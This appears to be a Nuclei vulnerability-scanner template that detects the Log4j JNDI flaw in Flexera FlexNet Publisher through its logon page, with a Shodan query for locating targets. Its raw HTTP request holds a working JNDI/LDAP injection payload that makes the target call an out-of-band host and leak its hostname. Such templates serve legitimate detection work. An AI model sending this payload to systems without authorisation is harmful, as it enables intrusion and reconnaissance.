67 lines
2.3 KiB
YAML
67 lines
2.3 KiB
YAML
id: flexnet-log4j-rce
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info:
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name: Flexnet - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Flexnet is susceptible to Log4j JNDI remote code execution.
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reference:
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- https://community.flexera.com/t5/Revenera-Company-News/Security-Advisory-Log4j-Java-Vulnerability-CVE-2021-4104-CVE/ba-p/216905
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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cpe: cpe:2.3:a:flexera:flexnet_publisher:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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shodan-query: title:"Flexnet"
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product: flexnet_publisher
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vendor: flexera
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tags: cve,cve2021,rce,jndi,log4j,flexnet,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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POST /flexnet/logon.do HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{RootURL}}/flexnet/logon.do
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Content-Type: application/x-www-form-urlencoded
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action=logon&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&domain=FLEXnet
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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# digest: 490a00463044022031e057bc1ad0c0009a477db33f1a59b0acacd2f2f38a4d7eb7517650c45864b902201ef28ff9c8ca5e19da048b31c0cb1d5a18089f219d38dae79027605f943c2d0d:922c64590222798bb761d5b6d8e72950 |